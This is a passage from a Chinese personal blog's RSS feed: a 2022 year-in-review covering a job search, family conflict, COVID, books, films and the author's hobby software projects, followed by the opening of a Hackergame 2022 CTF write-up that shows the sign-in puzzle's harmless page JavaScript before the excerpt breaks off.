<p>2022 年的 9 月和 10 月，整整两个月基本都沉浸在找工作当中，不停地重复着刷题、背八股、笔试、面试，简历投了 100 多次，最终收获了 6 个 offer。在被称为最难就业季的 2022 年，也算是顺利找到了工作，尽管自己并不是特别满意，但还是值得稍微庆祝一下的啦！表现平凡，但仍然值得期待认可！</p>
<p>比较遗憾的是没有得到互联网大厂的面试机会，当然，这个也和我简历比较贫瘠有关，没有任何实习经验，所做的项目可能也没有太大的吸引力。但是未来可期嘛！现在也会觉得工作的意义可能不仅仅只是赚钱，能实现自我的价值、做自己喜欢的事情才是更重要、更难得的，所以不一定要追求什么大厂，重要的是自己能够工作得开心啦！之前就一直开玩笑着说，如果 xxx （一个很想去的公司）给我 offer，哪怕要加班，我也会立刻马不停蹄地过去，因为我觉得我在这家公司工作，可以做自己喜欢的事情、做自己喜欢的产品，会很有成就感和满足感。</p>
<p>如果说给应届生的求职建议的话，那就是建议早点开始行动起来，特别是在经济萧条的当下。就计算机行业来说，算法和八股这两部分的准备绝对是少不了的，而这两部分基本上只要投入了足够的时间就能得到很明显的提升，可以尽早多刷刷题、多背背八股。然后就是项目了，多参与开源项目，多做一些自己的开源项目永远不会错！面试不难，多面几次就有经验了！祝大家好运~</p>
<p>然后今年比较深刻认识到的可能就是自己和家庭的关系吧，直到今年和家里发生了一些冲突之后，我才猛然意识到，25 岁的我，在之前 24 年的人生旅途中都是那个听父母话的好孩子，但我实际上是一直在忽视自己的感受和想法去听从父母的建议，我自己其实并不觉得快乐。</p>
<p>冲突来自于今年，和他们汇报了找工作进展之后，他们只是草草表示&quot;已读&quot;，然后紧接着就一个劲地催我赶紧去考公考国企，甚至一天可以打好多个电话。而我在和他们说，我连续两个月没有休息，一直在找工作，真的很累、我读研一点都不快乐之后，他们直接忽略了我说的一切想法和感受，对我没有一点的关心，继续不停打电话说考公考国企的事情。</p>
<p>我发现他们并不关心你的真实想法是什么，不关心我真正想要的是什么，不关心我的感受是什么，他们仅仅只是希望我能按照他们设计好的人生路径走，和我说那是为我好，说那是希望我未来能过上好的生活。但他们所描述的那些真的是好的生活吗？真的是我想要的生活吗？不，不是的，我自己的生活为什么需要由父母来定义…人都是独立的个体，我也想要自己的生活，我也想由我自己来定义我自己的生活，我也可以拥有我自己的生活。</p>
<p>似乎是我迟到的叛逆期，和他们吵了一架。回顾自己之前 24 年的人生，似乎从来没有和他们有过真正意义上的吵架，现在的我好盼望能和他们有更多的争吵。</p>
<p>前些天刚回家，才在家里待上没几天，发现他们依然如此，哪怕已经和他们说过，我希望你们尊重我的想法，我希望你们能多想想我想要的是什么，他们依然是只想着他们为我规划好的人生轨迹，而从来不关心我的想法和感受，就好像我是他们的某一件物品一样，他们想要怎么处置就怎么处置。</p>
<p>我不管，我自己的人生只能由我自己决定！</p>
<p>今年还有的一个感受就是，人需要多出门走走，多尝试尝试不一样的新鲜事物，多和不同的人接触，多交朋友，哪怕就只是出去附近溜溜弯、散散步，都能收获很多能量，不能一直重复待在一个地方。今年去了两趟深圳，接触了很多不一样的人，体验了很多新鲜的东西，感受到了久违的自由的感觉，是那种对自己生活完完全全的掌控感，这真的很重要，今年的两趟深圳之旅，都觉得自己的内心被充满了电。当然，最重要的是有阿光光的陪伴啦，一起生活真的好快乐！</p>
<p>2022 年的 12 月，感染了 COVID-19。发烧了三天，最高38.5度，感谢布洛芬救我一命（重要的是感谢阿光光提前准备了布洛芬）。发烧过后是喉咙吞刀片🔪，真的超级超级痛，每咽一次口水都能要我命的程度，那些天真的是吃饭对我来说都是上刑一样，因为吞咽食物特别特别痛，但也意外发现了，吞咽菜包好像不会很痛，不知道是什么原理，以及喝热水对喉咙痛真的会有很大的缓解作用。感染过 COVID-19 之后身体好像比较容易疲惫，会觉得很容易发困，甚至今年跨年 22:30 就已经困得不行躺床上睡着了。康复过后觉得健康真的非常重要，新的一年要多锻炼锻炼身体，还有要感谢我身体的免疫系统，生病期间没日没夜地和病毒抗争，你们辛苦了！还要感谢生病期间照顾我的阿光光，你真好！</p>
<p>所以，2022年对我来说意味着什么呢？我觉得尽管有很多痛苦的时刻，但还是收获了相当多的快乐，也一直觉得自己很幸运能遇到阿光光，有你真好~</p>
<p>好啦，下面还是按照书影音、今年所写的小东西的顺序来回顾一下自己的这一年吧！</p>
<h1 id="书影音">书影音</h1>
<h2 id="书">书</h2>
<p>今年好像没看几本书，</p>
<p><img loading="lazy" src="/2022-review/book.webp"></p>
<ul>
<li>
<p><a href="https://book.douban.com/subject/36149028/">《等你好久啦》</a></p>
<p>继去年的<a href="https://book.douban.com/subject/35569015/">《忍不住想打扰你》</a>之后，今年&quot;bibi动物园&quot;又新出版的绘本，尽管书里的很多漫画都已经在公众号的每日推送上看过了，但纸质版的书总会给我一种捧在手里更实在的感觉，会更仔细观察绘本里的每个细节、每个角落，随书还附送了一张可可爱爱的贴纸，喜欢~</p>
</li>
<li>
<p><a href="https://book.douban.com/subject/34998019/">《秋园》</a>、<a href="https://book.douban.com/subject/35695541/">《我本芬芳》</a></p>
<p>杨本芬三部曲其中的两本，还剩下一本<a href="https://book.douban.com/subject/35479662/">《浮木》</a>已经加入今年的阅读清单，作为 90 后，真的很难想象 1914 年出生的人所经历的种种苦难、所经历的一生无常，感谢有文字记录，让我有幸感受到了那个年代生活的艰辛和不易。书是比较小的那种开本，所以很容易揣兜里带走，随时随地掏出来看，例如<del>排核酸队伍的时候</del>（现在不用做核酸，真是太好了！）</p>
</li>
<li>
<p><a href="https://book.douban.com/subject/36082424/">《带壳的牡蛎是大人的心脏》</a></p>
<p>是今年生日收到的礼物，很温柔的一本书，来自最好最好的阿光光~让我看哭了的一本绘本，觉得难过的时候都会想再来翻一翻这本绘本，有很多温暖人心的小故事。</p>
<p>很喜欢书里面的这段话：</p>
<blockquote>
<p>爱自己</p>
<p>就是给自己买冰激凌</p>
<p>但是现在我觉得</p>
<p>爱自己</p>
<p>是不讨厌自己的小肚子</p>
<p>不讨厌自己的痘痘</p>
<p>不讨厌自己的笨</p>
<p>不因为别人的指责怀疑自己永远相信自己</p>
<p>每天都对自己说： 你可以，你最棒</p>
<p>就算现在不棒，以后也会很棒</p></blockquote>
</li>
<li>
<p><a href="https://book.douban.com/subject/35776315/">《足利女童连续失踪事件》</a>、<a href="https://book.douban.com/subject/35094680/">《桶川跟踪狂杀人事件》</a></p>
<p>分别是听了<a href="https://www.xiaoyuzhoufm.com/podcast/5ecbca6e418a84a04626c5c3">痴人之爱</a>播客的单集<a href="https://www.xiaoyuzhoufm.com/episode/632113a950ad6fb8c374171d">50.从桶川杀人到足利女童失踪案：调查新闻是屠龙之技吗？</a>和<a href="https://www.xiaoyuzhoufm.com/podcast/5f56592d83c34e85dd9b6d53">限时肤浅</a>播客的单集<a href="https://www.xiaoyuzhoufm.com/episode/61c0a93c751c0724dbe5a39d">54 去年我们说书影音，今年我们聊读看听</a>之后看的书，真的很佩服调查记者清水洁对职业的热爱，对于新闻报道的追求，感受到了新闻报道对于推动社会改革的强大力量，这个时代真的需要有更多真实的新闻报道，需要有更多不一样的声音，很推荐这两本书。</p>
</li>
<li>
<p><a href="https://book.douban.com/subject/33460032/">《在黑暗中等》</a></p>
<p>依旧是来自阿光光的日常赠书，是乙一的小说，觉得挺好看的，看完之后竟然觉得很甜（不是）！</p>
</li>
</ul>
<h2 id="影">影</h2>
<p>今年虽然没看几本书，但电影电视剧倒是看了不少</p>
<p><img loading="lazy" src="/2022-review/movie.webp"></p>
<ul>
<li>
<p><a href="https://movie.douban.com/subject/35275350/">初恋</a></p>
<p>虽然剧情有那么一丢丢老套，但依然看得津津有味，依然觉得超级甜，推荐！很多空镜头都拍得很美，特别是日本的冬天，下雪过后真的好美！希望未来有机会能去一次日本，看看富士山，看看雪。是和阿光光一起看的电影~</p>
</li>
<li>
<p><a href="https://movie.douban.com/subject/35682540/">你的婚姻不是你的婚姻</a></p>
<p>看到网上强烈安利之后和阿光光一起看的剧，但我觉得很普通，看到一半就弃剧了。很多剧情都让我觉得不是很合理，剪辑感觉也是拖泥带水，经常有很长一段时间都在讲述同一件事。另外就是，这部剧不知道为什么会强行在剧情中加入一些和 AI、科技相关的元素，感觉编剧像是为了完成某个 KPI 似的，让我觉得有点点反感。</p>
</li>
<li>
<p><a href="https://movie.douban.com/subject/35300122/">弥留之国的爱丽丝 第二季</a></p>
<p>听我的，看第一季就好，第一季还是挺好看的，<strong>第二季就别看了</strong>👀。</p>
</li>
<li>
<p><a href="https://movie.douban.com/subject/34990593/">万神殿 第一季</a></p>
<p>超好看，强烈推荐的一部动漫，前几集的悬念设置得很棒，配乐也做得很棒。</p>
</li>
<li>
<p><a href="https://movie.douban.com/subject/27622447/">小偷家族</a>、<a href="https://movie.douban.com/subject/1292337/">无人知晓</a></p>
<p>是枝裕和的作品，和阿光光一起看的，很喜欢电影的胶片质感，真的好美，故事情节也都很有味道。</p>
</li>
<li>
<p><a href="https://movie.douban.com/subject/35235813/">祝你好运，里奥·格兰德</a></p>
<p>和阿光光一起看的电影~看似是关于性工作者的电影，但更像是关于心理咨询的电影，男主和女主说的每一句话都很像是心理咨询师会说出来的话。</p>
</li>
<li>
<p><a href="https://movie.douban.com/subject/34874432/">花束般的恋爱</a></p>
<p>和阿光光一起看的电影~好看！</p>
</li>
<li>
<p><a href="https://movie.douban.com/subject/35436582/">爱，死亡和机器人 第三季</a></p>
<p>和阿光光一起看的电影~喜欢最后一集《吉巴罗》，好震撼！</p>
</li>
<li>
<p><a href="https://movie.douban.com/subject/30314848/">瞬息全宇宙</a></p>
<p>和阿光光一起看的电影~很无厘头的一部电影，但是真的很好看，超级喜欢电影中两个石头对话🗨的那一幕！</p>
</li>
<li>
<p><a href="https://movie.douban.com/subject/35334903/">心跳漏一拍 第一季</a></p>
<p>和阿光光一起看的电影~超级甜，推荐！！！</p>
</li>
<li>
<p><a href="https://movie.douban.com/subject/6722879/">她</a></p>
<p>和阿光光一起看的电影~</p>
</li>
<li>
<p><a href="https://movie.douban.com/subject/35048413/">健听女孩</a></p>
<p>和阿光光一起看的电影~</p>
<p>很喜欢里面的&quot;Both Sides Now&quot;这首歌：</p>


  <iframe style="border-radius:12px" src="https://open.spotify.com/embed/track/5w94qYPwVF5UNW1RoE80AA?utm_source=generator" width="100%" height="80" frameBorder="0" allowfullscreen="" allow="autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture" loading="lazy"></iframe>

  
</li>
<li>
<p><a href="https://movie.douban.com/subject/35284253/">青春变形记</a></p>
<p>和阿光光一起看的电影~红熊猫真实太可爱啦！</p>
</li>
<li>
<p><a href="https://movie.douban.com/subject/35376457/">爱情神话</a></p>
<p>年初时候看的电影，剧情感觉比较平淡，但是电影所展现出来的上海味道很吸引我，听闻电影里的很多店铺在疫情中倒闭了觉得好可惜。未来一定要去上海走走看看！</p>
</li>
<li>
<p><a href="https://movie.douban.com/subject/1291843/">黑客帝国</a>、<a href="https://movie.douban.com/subject/1304141/">黑客帝国2：重装上阵</a>、<a href="https://movie.douban.com/subject/1302467/">黑客帝国3：矩阵革命</a>、<a href="https://movie.douban.com/subject/34801038/">黑客帝国：矩阵重启</a></p>
<p>说来惭愧，一个计算机专业的研究生，竟然直到2022年才总算是看了《黑客帝国》三部曲，最喜欢第一部，很难想象在1999年的时候可以做出这样的特效，但最新的<a href="https://movie.douban.com/subject/34801038/">黑客帝国：矩阵重启</a>总让我觉得在毁黑客帝国这个 IP 👀。</p>
</li>
<li>
<p><a href="https://movie.douban.com/subject/2363876/">007：大破天幕杀机</a>、<a href="https://movie.douban.com/subject/20276229/">007：无暇赴死</a></p>
</li>
<li>
<p><a href="https://movie.douban.com/subject/23011215/">超感猎杀 第一季</a>、<a href="https://movie.douban.com/subject/26588239/">超感猎杀 第二季</a>、<a href="https://movie.douban.com/subject/27040774/">超感猎杀：完结特别篇</a>、<a href="https://movie.douban.com/subject/26926703/">超感猎杀：圣诞特别篇</a></p>
<p>听<a href="https://www.xiaoyuzhoufm.com/podcast/5f56592d83c34e85dd9b6d53">限时肤浅</a> Iris 推荐之后开始看的一部剧，很好看，一口气追完了全集。</p>
</li>
</ul>
<h2 id="音">音</h2>
<p>根据 Spotify 的年终总结，今年听得最多的是告五人的《红》：</p>


<iframe style="border-radius:12px" src="https://open.spotify.com/embed/track/2StAeGaKy1gBOllUoAjqxV?utm_source=generator" width="100%" height="80" frameBorder="0" allowfullscreen="" allow="autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture" loading="lazy"></iframe>


<h1 id="happy-coding">Happy Coding</h1>
<h2 id="播客小镇-2022">播客小镇 2022</h2>
<p><img loading="lazy" src="/2022-review/podtown.webp"></p>
<p>新的一年，播客小镇也做了一些更新，重新绘制了地图和小镇上的所有元素，增加了一些新的交互，网站的加载应该也变得更加流畅了（国内访问的话，国外访问因为静态资源的 CDN 节点都在国内，所以可能会挺慢的），你可以通过这个链接到播客小镇上散步：<a href="https://podtown.xyz">https://podtown.xyz</a>。</p>
<p>今年用 TypeScript 把去年 JavaScript 写的代码完全重构了一遍，地图框架也从 <a href="https://github.com/Leaflet/Leaflet">Leaflet</a> 换到了 <a href="https://github.com/openlayers/openlayers">OpenLayers</a>，并对很多代码都进行了一些优化，提升网站的访问速度。重构的感觉真的特别爽！基本上就是边重构边问自己&quot;我去年怎么会写出这样的代码？我怎么会写出这么烂的代码！&quot;。重构的过程中也体会到了 JavaScript 这类弱类型语言的项目代码在后期维护上的难度，真的很不想碰 JavaScript 写的旧代码。</p>
<p>至于为什么从 Leaflet 换到 OpenLayers，其实主要还是性能上的考虑，Leaflet 基于 DOM 元素来渲染 Marker，在 Marker 数量多起来之后，页面的移动会变得特别卡顿（大约 200 多个 Markers 就能明显感受到页面的卡顿了），issue 里一直有人提到这个问题，解决方法也很简单，使用 canvas 来渲染这些 Markers，但目前好像没有一个针对 Leaflet 的开箱即用的方案，需要自己处理 canvas 渲染 Marker 的逻辑，还额外需要处理一些 canvas 的点击事件。而 OpenLayers 本身就采用 canvas 渲染，经过测试在添加上千个 Marker 依然能保持流畅，所以最终决定将地图框架从 Leaflet 切换到了 OpenLayers，虽然有一些逻辑需要重写，但好在切换的过程整体并不是十分困难，OpenLayers 在官网提供了大量的 Examples，看看那些 Example 基本就能把地图构建出来，一些需要处理地图动画和点击事件相关的逻辑再去查查官方文档就足够了，迁移框架的过程也顺便学习了一些地理学的知识。</p>
<p>不过我还是会更喜欢 Leaflet 多一些些，使用 Leaflet 来构建一个简单的地图应用很容易，也不会涉及太多地理学方面的内容，官方的文档也足够清晰。但 Leaflet 如果要构建一些比较复杂的地图应用似乎就稍微会有一些力不从心了，并且社区生态上似乎还是 OpenLayers 会更有优势一些。</p>
<p>今年在做播客小镇的过程中，所有主创人员都感染了一遍 COVID-19，真的是很不容易，也因此时间上有一些些赶，导致部分功能没有来得及完成，希望明年的小镇能上线更多有趣的功能，让用户能有更多的参与感，而不仅仅是打开网站寻找播客、听播客。其实越来越觉得播客小镇像是一款游戏，有地图、有建筑、有 NPC，未来如果能用游戏引擎来构建播客小镇就好了哈哈哈！</p>
<p>今年的小镇也有了赞助，感谢赞助，让小镇可以活得更长久，目前来看小镇的日常开销还是稍微大了一些，未来考虑减少一些服务器开支。</p>
<p>在做播客小镇的过程中也产出了一些其他东西，一个 <a href="https://en.wikipedia.org/wiki/Quadratic_voting">Quadratic voting</a> 投票器，全部采用 Next.js 构建，数据库使用了 Google Firebase 的 Firestore Database，免费的套餐正好能够满足小镇投票的需求。未来会把这个投票器完善一下，作为一个问卷系统开源出来，支持更多的问卷类型，例如单选、多选等，数据库大概会换到 MongoDB，目前正在缓慢开发中。</p>
<h2 id="hikari-sync-player">Hikari Sync Player</h2>
<p><img loading="lazy" src="/2022-review/hikari_sync_player.webp"></p>
<p>一个用来远程一起听播客的小项目：</p>
<ul>
<li>
<p>前端：<a href="https://github.com/LGiki/hikari-sync-player-frontend">https://github.com/LGiki/hikari-sync-player-frontend</a></p>
<p>前端依然采用 Next.js 构建，页面样式可以说是完全抄袭了小宇宙（对不起QAQ）。</p>
</li>
<li>
<p>后端：<a href="https://github.com/LGiki/hikari-sync-player-backend">https://github.com/LGiki/hikari-sync-player-backend</a></p>
<p>后端采用 Golang 构建，其实就是实现了一个简易的 WebSocket 服务器，让前端可以通过 WebSocket 来同步多端的播放进度。</p>
</li>
</ul>
<p>本来还打算支持奶牛快传的链接来实现同步观看电影的，但因为太懒了，一直没有做哈哈哈~目前的实现方式其实还是存在不小的延迟，主要来自于同步播放进度的过程中 <code>用户A &lt;-&gt; 服务器 &lt;-&gt; 用户B</code> 中间两次通信上的延迟，不过用国内的服务器试了一下，基本上能稳定在几百毫秒左右，还是可以接受啦！</p>
<h2 id="自用的小宇宙桌面版">自用的小宇宙桌面版</h2>
<p><img loading="lazy" src="/2022-review/cosmos_desktop.png"></p>
<p>初衷是想实现一个简易的小宇宙桌面版客户端，满足自己在电脑上收听播客的需求，因为我目前使用的是 iPhone 11 + AirPods，而电脑则是 Windows / Linux，这就导致耳机在电脑端和手机端没办法做到自动的切换，经常得来回地摘下耳机再戴上耳机很麻烦，所以想着要是能直接在电脑上收听小宇宙播客就好了，这样在使用电脑的时候，如果突然想要收听播客就不需要摘下电脑的耳机，然后再戴上 AirPods 使用手机播放了。</p>
<p>于是这个项目就诞生了，刚开始只是想实现最基础的播放功能，同时支持一下记录播放时长就好，结果写着写着就把很多功能都实现出来了，包括小宇宙的播放时长累计、多端同步也都实现了，用起来还挺方便的，应该算是完成度已经很高的第三方客户端。并且因为是基于 Tauri + Next.js 构建的，所以支持 macOS、Linux 和 Windows，如果解决了跨域的问题，甚至可以直接将它做成一个网站来使用。</p>
<p>因为是第三方实现的客户端，所以这个项目我不会公开，就纯粹保持自己使用就好，未来也许还可以加上一些自己喜欢的小功能，例如我一直想要有一个按钮能 <!-- raw HTML omitted -->一键随机打乱我的播放列表<!-- raw HTML omitted -->。我积攒了很多很多的播客在播放列表中，然而播放列表永远是最新添加的单集会显示在列表的最上面，导致很早之前添加的播客我基本上没有什么机会会点开收听，甚至可能随着添加新的单集，导致最早添加的播客单集被替换掉。所以我一直很想有个按钮，让我的播放列表随机排序一次，这样说不定我就可以发现藏在播放列表中的那些有趣的播客了。</p>
<p>现在，我可以自己实现这个功能咯！</p>
<h2 id="nice-podcast-rss">Nice Podcast RSS</h2>
<p><img loading="lazy" src="/2022-review/nice_podcast_rss.webp"></p>
<p>这是一款 Chrome 扩展，也是我第一次尝试编写 Chrome 扩展，用于让播客的 RSS 链接更友好地显示出来，你可以到这里安装它：<a href="https://chrome.google.com/webstore/detail/nice-podcast-rss/ofofpfeldepmeolpbcmehmfgakjnlekf">https://chrome.google.com/webstore/detail/nice-podcast-rss/ofofpfeldepmeolpbcmehmfgakjnlekf</a>，或者到这里查看它的源代码：<a href="https://github.com/LGiki/nice-podcast-rss">https://github.com/LGiki/nice-podcast-rss</a>。</p>
<p>出于我个人的需求，有时候可能得到了某个播客的 RSS 链接（例如在一些推荐播客的文章中看到了某个播客的 RSS 链接），但是还不确定要不要订阅，想先听听看，这时候我又懒得直接掏出手机订阅，所以就会直接用浏览器打开 RSS 链接，然后找到最新一期单集的音频链接，开始收听。但我始终觉得这个过程很繁琐复杂，我希望可以直接让浏览器显示一个简单的播客单集列表，我可以直接点击 <!-- raw HTML omitted -->▶播放<!-- raw HTML omitted --> 按钮来收听。</p>
<p>其实 XML 文档是有一项叫 <a href="https://developer.mozilla.org/en-US/docs/Web/XSLT">XSLT</a> 的技术，用于将 XML 文档渲染为更加直观的网页，有一些托管平台也做了这方面的支持，例如 Typlog 平台的 RSS 链接，打开之后是可以直接在网页上收听的，但大部分播客托管平台并没有增加这方面的支持，导致很多播客的 RSS 链接用浏览器打开就是一个 XML 文档，可读性较差。</p>
<p>另一个需求是，有时候想下载播客某个单集的封面或者是音频文件，这时候直接打开 RSS 搜索是最快的，但面对一大堆的 XML 代码还是会觉得有点头大，有了这个插件就可以很方便地根据播客标题，定位到对应的播客，直接下载。</p>
<p>这个扩展支持 Anchor、Fireside、Buzzsprout、Typlog、Libsyn、Acast、Megaphone、Simplecast、RSS.com、Podbean、Sounder.fm、SoundOn、NPR、ART19、Omny Studio、RedCircle、JustPod Media、Xiaoyuzhou FM、Ximalaya、Lizhi FM、Wav Pub、Qingting FM、VISTOPIA、Get Podcast、Pod API、Tangsuan Radio 等托管平台的 RSS 链接，应该可以说是支持绝大多数播客托管平台了，不过不支持自定义域名的 RSS 链接，未来也许会加上，但目前已经满足自己使用了，所以可能这个需求会无限期延长。</p>
<p>Chrome 扩展的开发体验其实并不算特别好，Chrome Extension 的<a href="https://developer.chrome.com/docs/extensions/">文档</a>虽然看起来挺完善的，但如果你点开某个类或者函数的文档就会发现，文档写得都不是特别详细，甚至还有一些 broken links。总之，开发的过程并不算顺畅，有很多问题反而是在 Stackoverflow 上找到解决方案。</p>
<p>另一方面，Google 针对扩展所提出的 Manifest V3 对于隐私的重视是值得鼓励的，但是剥夺了太多扩展的权限，导致开发起来变得很麻烦，很多在 Manifest V2 下面可以轻松实现的功能，到了 Manifest V3 上实现起来就特别困难，还是希望 Google 能给开发者更多自由发挥的空间。</p>
<h2 id="qr-tools">QR Tools</h2>
<p><img loading="lazy" src="/2022-review/qr_tools.webp"></p>
<p>初次学习并尝试 Flutter 开发的一款 app，同样也是出于满足自己的需求，开源地址在这里：<a href="https://github.com/LGiki/qr-tools">https://github.com/LGiki/qr-tools</a>。</p>
<p>扫描二维码其实并不是一件什么新鲜的事情了，很多 app 都能做到，甚至现在手机内置的相机 app 都能直接扫描二维码。但是对于二维码内容的解析却几乎都没什么人做。</p>
<p>例如，如果我扫描的是一个连接 WiFi 的二维码，我希望我可以先看看这个 WiFi 的信息，例如密码、认证方式等信息，而不是默认直接帮我连上这个 WiFi。再比如，如果我扫的是一本书的 ISBN 条码，那么我希望我的扫描器能让我选择在 Amazon、豆瓣、多抓鱼等平台搜索这本书，而不是只给我显示出扫描出来的那串数字，让我自己手动去搜索。所以，这个 app 就诞生了，当然，最主要的目的还是想试试 Flutter。</p>
<p>有一定前端开发经验的人来学习 Flutter 其实很容易上手，Flutter 在 UI 上的很多概念都是和前端的布局系统相通的，并且也有很多现成的库可以直接使用。Flutter 的调试上也很方便，hot reload 节省了很多不必要的重新编译的工作，可以专注于代码的编写，并且能实时看到改动后的结果。另外可以直接编译到桌面端也很让人心动，虽然依然会有很多问题需要解决，但至少是真正意义上的 Write Once, Run Anywhere 了。</p>
<p>觉得 Flutter 用来写一些比较简单的 app 应该挺合适的，不过 Flutter 开发的 app 总给我一种卡卡的感觉，另外编译后安装包的体积也比较大，原生开发的优势还是很明显，但 Google 团队似乎一直在不断优化 Flutter，希望未来能看到更多 Flutter 开发的有趣的 app。</p>
<p>本来想把它上架到 Google Play，但看到还要交钱，没有信用卡，付不了，遂作罢（不过就算上架了 Google Play 应该也不会有多少下载量吧🤔）。</p>
<h1 id="新的一年">新的一年</h1>
<p>尽管不知道新的一年到底会不会更好，但至少还是可以希望自己能变得更好啦~又到了一年一度最喜欢的许愿环节啦！🍀</p>
<ul>
<li>希望新的一年可以和阿光光一起去更多地方走走</li>
<li>希望新的一年多拍照（多给自己拍照，也多给阿光光拍照）</li>
<li>希望新的一年和阿光光多一些一起生活的时刻</li>
<li>希望新的一年可以认识更多的朋友（难过的时候可以打电话放声哭泣的那种好朋友）</li>
<li>希望自己健健康康</li>
<li>希望自己新的一年可以多多照顾自己的想法和感受</li>
<li>希望新的一年我可以学会基础的日语</li>
<li>希望自己新的一年可以多多更新播客</li>
<li>希望看到这里的你在新的一年里能多一些开心、有力量的时刻啦</li>
</ul>
<p>新的一年，也意味着毕业，开始工作，走上人生的另一个阶段，加油！</p>
]]></content:encoded>
    </item>
    <item>
      <title>Hackergame 2022 Write Up</title>
      <link>https://lgiki.net/post/hackergame-2022-write-up/</link>
      <pubDate>Sat, 05 Nov 2022 19:20:48 +0800</pubDate>
      <guid>https://lgiki.net/post/hackergame-2022-write-up/</guid>
      <description>&lt;p&gt;萌新第一次参加 CTF 比赛，应该也是最后一次参加这类比赛了，正好排在第 123 名，挺好的数字，试着写写 Write UP 吧！&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; src=&#34;https://lgiki.net/hackergame-2022-write-up/lgiki.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;官方 Write UP 在：&lt;a href=&#34;https://github.com/USTC-Hackergame/hackergame2022-writeups&#34;&gt;https://github.com/USTC-Hackergame/hackergame2022-writeups&lt;/a&gt;&lt;/p&gt;
&lt;h1 id=&#34;write-up&#34;&gt;Write UP&lt;/h1&gt;
&lt;h2 id=&#34;签到&#34;&gt;签到&lt;/h2&gt;
&lt;p&gt;题目打开是一个网页，要求在2秒、1秒、0.1、0.0秒的时间限制内，在网页的四个手写框内分别写上&amp;quot;2&amp;quot;、&amp;ldquo;0&amp;rdquo;、&amp;ldquo;2&amp;rdquo;、&amp;ldquo;2&amp;quot;几个字符，前两个字符还有可能在限制的时间内完成，最后两个字符根本不可能在给定时间内写出来，所以直接右键 View Source ，看看网页的 JavaScript 代码，发现这几行：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;submit&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;event&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;kd&#34;&gt;let&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;result&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kd&#34;&gt;let&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;digitIndex&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;digitIndex&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;digitIndex&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;++&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;kr&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;digit&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;this&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;digits&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;digitIndex&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;nx&#34;&gt;result&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;result&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;digit&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;result&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nb&#34;&gt;window&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;location&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;?result=&amp;#34;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;result&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;},&lt;/span&gt;
